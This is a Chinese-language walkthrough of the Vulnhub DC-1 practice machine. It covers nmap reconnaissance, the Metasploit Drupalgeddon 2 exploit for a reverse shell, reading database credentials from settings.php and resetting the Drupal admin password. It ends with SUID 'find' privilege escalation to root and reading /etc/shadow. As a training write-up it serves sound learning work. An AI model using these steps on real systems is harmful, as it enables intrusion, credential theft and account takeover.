[ Vulnhub实战 ] DC-1靶场渗透:从信息收集到权限提升的完整路径解析
1. 环境准备与靶机搭建
嘿,朋友们,今天咱们来玩点硬核的,一起动手搞定 Vulnhub 上那个经典的 DC-1 靶场。别被“渗透测试”这个词吓到,说白了,这就是一次在安全环境下的“模拟黑客”闯关游戏,目标就是拿到靶机的最高权限。整个过程就像玩一个解谜游戏,每一步都有迹可循,非常适合想入门安全实战的朋友。我自己当年也是从这些基础靶机一步步踩坑过来的,今天就把我趟过的路、踩过的坑,掰开揉碎了讲给你听,保证你跟着做就能成功。
首先,你得有两台虚拟机。一台是攻击机,我们选择业界标配的 Kali Linux,它集成了海量的安全工具,开箱即用。另一台就是我们的目标——DC-1 靶机。去 Vulnhub 官网就能找到 DC-1 的下载页面,下载下来是一个.ova文件。这个文件是虚拟机模板,用 VMware 或者 VirtualBox 都能直接导入。这里有个小坑我得提醒你:导入时,VMware 可能会弹出一个“导入失败”的提示,别慌,直接点“重试”或者“忽略”就行,大概率能成功。导入后,先别急着启动,咱们得把网络调对。
为了让 Kali 能“看见”并攻击 DC-1,它们必须在同一个网络里。最省事的方法就是把两台虚拟机的网络适配器都设置成“桥接模式”。桥接模式相当于给虚拟机分配了一个和你物理机同网段的独立 IP,就像它们都接入了你家的路由器一样,可以互相通信。设置好后,先启动 DC-1 靶机,你会看到一个简单的启动界面,这就说明它跑起来了。接着启动 Kali,打开终端,咱们的探险就正式开始了。
2. 信息收集:摸清目标底细
渗透测试的第一步永远是信息收集,就像打仗前的侦察。盲目攻击是没用的,我们得先知道目标在哪、上面跑了什么。首先,咱们得找到 DC-1 的 IP 地址。在 Kali 终端里,输入ifconfig或者ip addr命令,看看自己的 IP,比如我这里是192.168.1.105。那么 DC-1 的 IP 大概率就在同一个网段,比如192.168.1.xxx。
2.1 扫描存活主机
怎么找到这个具体的xxx呢?用nmap进行网段扫描。命令很简单:nmap -sn 192.168.1.0/24。这个-sn参数代表 Ping 扫描,只探测主机是否在线,不扫端口,速度很快。扫完之后,你会看到除了你自己 Kali 的 IP 之外,还有一个活跃的 IP,那个就是我们的目标 DC-1 了。假设我们找到了192.168.1.120。
2.2 深度端口与服务探测
找到目标后,就要进行更细致的“体检”了。我们用nmap的全面扫描命令:nmap -A -p- 192.168.1.120。这个命令有点猛,-A参数启用操作系统和版本检测,-p-表示扫描所有 65535 个端口。稍等片刻,一份详细的“体检报告”就出来了。咱们来逐条分析这份报告,这步很关键。
报告开头会显示目标主机的 MAC 地址,开头是00:0C:29,这是 VMware 虚拟机的厂商标识,证实了它是一台虚拟机靶机。接着看端口部分,这是核心。通常,DC-1 会开放这么几个端口:
- 22/tcp:这是 SSH 服务,用于远程登录。版本显示为
OpenSSH 6.0p1,这暗示着操作系统可能是比较老的 Debian 7 系统。 - 80/tcp:这是 HTTP 服务,也就是网站。服务器是
Apache 2.2.22,同样指向老旧的系统。更有趣的是,nmap还探测到了http-generator: Drupal 7。这说明网站上运行着 Drupal 7 内容管理系统。Drupal 是个强大的 CMS,但老版本漏洞不少,这很可能就是我们的突破口。 - 111/tcp和另一个高数字端口(如
55518/tcp):这是 RPC 服务,在渗透测试中通常不是首要目标,可以先放一放。
通过这份报告,我们得到了几个关键信息:目标 IP、开放了 Web 服务、网站用的是 Drupal 7。攻击面已经清晰了,Web 入口是当前最有可能的突破口。
3. Web渗透与漏洞利用
既然 80 端口开着,还跑着 Drupal,那咱们就从网站入手。打开 Kali 的火狐浏览器,输入http://192.168.1.120,果然看到了一个 Drupal 网站的默认首页。信息收集不能停,我们需要知道这个 Drupal 站点的更多细节。
3.1 手动信息收集与漏洞初判
我习惯先用一些简单的方法摸摸底。在浏览器里查看网页源代码,有时能找到注释里的版本信息。也可以尝试访问一些 Drupal 特有的路径,比如CHANGELOG.txt、README.txt或者core/CHANGELOG.txt,这些文件有时会明文写着版本号。另一个方法是利用whatweb工具,在终端输入whatweb http://192.168.1.120,它能快速识别网站的技术指纹。
所有这些线索都指向Drupal 7。一提到 Drupal 7,有经验的安全人员脑子里肯定会蹦出一个名字:Drupalgeddon 2。这是 Drupal 历史上一个非常著名的远程代码执行漏洞,编号 CVE-2018-7600。这个漏洞影响范围极广,原理是 Drupal 在处理表单渲染数组时没有做好安全过滤,导致攻击者可以注入恶意属性并执行任意 PHP 代码。简单理解,就是我们可以通过构造一个特殊的网络请求,让网站的服务器执行我们想让它执行的命令。
3.2 使用 Metasploit 框架进行自动化攻击
手动构造利用代码比较麻烦,对于新手,我强烈推荐使用Metasploit Framework (MSF)。它就像渗透测试的“瑞士军刀”,把很多已知漏洞的利用过程做成了自动化模块,我们只需要配置参数就能用。在 Kali 终端里输入msfconsole启动它。
进入 MSF 后,我们搜索针对 Drupal 的漏洞模块:search drupal。会列出一堆结果,我们需要找到那个最通用、最可能成功的。根据描述,我们选择exploit/unix/webapp/drupal_drupalgeddon2。为什么选它?因为它利用的就是我们刚才判断的 Drupalgeddon 2 漏洞,而且不依赖目标网站是否安装了额外的第三方模块,成功率最高。
使用命令use exploit/unix/webapp/drupal_drupalgeddon2加载这个模块。然后输入show options查看需要配置的参数。最重要的两个是:
RHOSTS:设置为目标 IP,192.168.1.120。LHOST:设置为你 Kali 本机的 IP,192.168.1.105。这个用于接收反弹回来的 shell 连接。
设置好之后,输入run或exploit执行。如果一切顺利,你会看到 MSF 开始工作,发送攻击载荷,几秒钟后,命令行提示符会突然变成www-data@dc-1:/var/www$。恭喜!这表示你已经成功攻入了目标系统,获得了第一个立足点——一个 Web 服务权限的 shell。用户是www-data,这是 Apache 等 Web 服务器默认的运行账户,权限比较低,但我们已经成功踏入了大门。
4. 权限提升:从 www-data 到 root
拿到www-data的 shell 后,你会发现这个 shell 用起来很别扭,没有命令历史、不能 tab 补全。我们先把它升级成一个全功能的交互式 shell。输入命令:python -c 'import pty; pty.spawn("/bin/bash")'。这条命令利用 Python 生成一个伪终端,这样我们就有了一个更友好的 bash 环境。
4.1 立足点内信息收集
现在,我们以www-data的身份在目标机器里了。首先要做的是“翻箱倒柜”,寻找有用的信息。Drupal 的配置文件是首要目标,因为它里面很可能有数据库密码。Drupal 7 的配置文件通常位于/var/www/sites/default/settings.php。我们用cat命令查看它:cat /var/www/sites/default/settings.php。
在文件里,你会找到类似这样的数据库连接信息:
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', ), ), );看,我们拿到了数据库用户名dbuser和密码R0ck3t。同时,在探索过程中,你可能会在/home目录或者网站根目录下发现一些flag文件,比如flag1.txt,里面通常会有一些提示,引导你进行下一步。例如,它可能会提示你“配置文件里有好东西”,这印证了我们的方向是对的。
4.2 数据库探查与密码修改
有了数据库凭据,我们就可以连接数据库了。在获得的 shell 里输入:mysql -udbuser -pR0ck3t。连接成功后,查看有哪些数据库:show databases;。找到 Drupal 用的数据库,通常是drupaldb,切换进去:use drupaldb;。
查看用户表:select name, pass from users;。你会看到管理员用户(比如admin)的密码哈希值。Drupal 的密码是加盐哈希存储的,我们无法直接破解。但是,我们可以“重置”它。Drupal 安装目录下有一个脚本可以用来生成密码哈希:/var/www/scripts/password-hash.sh。
我们在目标机器上运行这个脚本,生成一个新密码(比如123456)的哈希值:php /var/www/scripts/password-hash.sh 123456。它会输出一长串以$S$开头的哈希值。复制这个哈希值,回到 MySQL,执行更新语句:update users set pass='$S$D...你复制的哈希值...' where name='admin';。这样,我们就将管理员admin的密码改为了123456。
这时,你可以回到浏览器,用admin和123456登录 Drupal 后台,可能会有新的发现(比如另一个 flag)。但我们的终极目标是拿到系统的最高权限root。
4.3 SUID 提权:寻找系统的“后门”
在 Linux 中,有一种特殊的文件权限叫SUID。如果一个属于 root 的可执行文件被设置了 SUID 位,那么普通用户执行它时,会临时拥有 root 的权限。如果管理员配置不当,给了一些本不该有 SUID 权限的程序(比如find、vim、bash),这就成了我们提权的绝佳跳板。
在 shell 里输入命令来查找所有具有 SUID 权限的文件:find / -perm -u=s -type f 2>/dev/null。这个命令会在全盘搜索,2>/dev/null是为了过滤掉没权限访问的目录产生的错误信息,让结果更清晰。
在结果列表中,我们需要寻找那些常见的、可能被利用的命令。一个非常经典且通常在 DC-1 靶机中存在的就是/usr/bin/find命令。检查一下:ls -l /usr/bin/find,如果它属于 root 并且权限中有-rwsr-xr-x(注意那个s),那就太好了。
find命令有一个强大的-exec参数,它可以执行任何我们指定的命令。由于find现在以 root 权限运行,那么它通过-exec执行的命令也将拥有 root 权限!提权命令如下:
find / -name anyfile -exec /bin/sh \;这里的/ -name anyfile是一个查找条件,-exec /bin/sh \;表示执行/bin/sh这个 shell。因为find有 SUID 权限,所以这个新启动的/bin/sh进程就拥有了 root 权限。命令执行后,你可能发现提示符没变,但输入whoami命令,返回的已经是root了!
4.4 最终收割与总结
成为 root 后,整个系统对你再无秘密。你可以查看/etc/shadow文件看所有用户的密码哈希,可以去/root目录找最终的 flag 文件(比如thefinalflag.txt)。至此,DC-1 靶机的完整渗透路径就走通了:从外网信息收集发现 Drupal,利用 Drupalgeddon 2 漏洞获得初始 shell,读取配置文件拿到数据库密码,修改管理员密码进入后台,最后利用配置不当的 SUID 程序完成权限提升。
整个流程下来,你会发现渗透测试是一个逻辑性极强的过程,每一步的发现都为下一步提供线索。DC-1 作为一个经典入门靶机,非常巧妙地串联了这些基础知识点。我建议你在成功一次后,再从头手动做几遍,尝试不用 MSF 而用手动利用脚本攻击 Drupal,或者尝试其他提权方法(比如内核漏洞),这样才能真正把知识消化成自己的经验。记住,靶机只是练习场,真正的安全在于理解这些攻击原理,从而更好地进行防御。
